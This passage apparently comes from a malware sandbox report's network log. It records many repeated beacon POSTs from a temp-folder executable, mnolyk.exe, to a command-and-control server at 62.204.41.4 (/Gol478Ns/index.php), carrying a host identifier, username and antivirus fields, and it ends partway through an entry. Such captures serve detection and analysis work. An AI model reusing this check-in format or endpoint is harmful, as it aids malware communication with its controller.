Feb 8, 2023 21:32:50.791193008 CET	525	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:50.854734898 CET	525	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
326	192.168.2.3	50028	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:51.047955990 CET	526	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:51.115572929 CET	526	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
327	192.168.2.3	50029	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:51.298222065 CET	527	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:51.365262985 CET	527	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
328	192.168.2.3	50030	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:51.734575033 CET	528	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:51.800061941 CET	528	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
329	192.168.2.3	50031	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:52.026036024 CET	529	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:52.123317957 CET	529	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.3	49735	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:24.825436115 CET	234	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:24.888216972 CET	234	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
330	192.168.2.3	50032	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:52.345278025 CET	530	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:52.410057068 CET	530	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
331	192.168.2.3	50033	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:52.676521063 CET	531	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:52.740345955 CET	531	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
332	192.168.2.3	50034	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:53.871279955 CET	532	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:53.936458111 CET	532	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
333	192.168.2.3	50036	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:58.338478088 CET	533	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:58.404299974 CET	534	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
334	192.168.2.3	50037	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:58.577469110 CET	534	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:58.642394066 CET	535	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
335	192.168.2.3	50038	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:58.827244997 CET	535	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:58.893783092 CET	536	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
336	192.168.2.3	50039	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:59.074009895 CET	536	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:59.139018059 CET	537	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
337	192.168.2.3	50040	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:59.306914091 CET	537	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:59.370630026 CET	538	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
338	192.168.2.3	50041	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:59.543687105 CET	538	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:59.609154940 CET	539	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
339	192.168.2.3	50042	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:59.788041115 CET	539	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:59.851001978 CET	539	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.3	49736	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:25.096772909 CET	235	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:25.163085938 CET	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
340	192.168.2.3	50043	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:00.026149035 CET	540	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:00.090549946 CET	540	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
341	192.168.2.3	50044	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:00.262908936 CET	541	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:00.326045036 CET	541	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
342	192.168.2.3	50045	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:00.500794888 CET	542	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:00.566679001 CET	542	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
343	192.168.2.3	50046	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:00.777060986 CET	543	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:00.848515034 CET	543	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
344	192.168.2.3	50047	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:01.026819944 CET	544	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:01.091001987 CET	544	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
345	192.168.2.3	50048	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
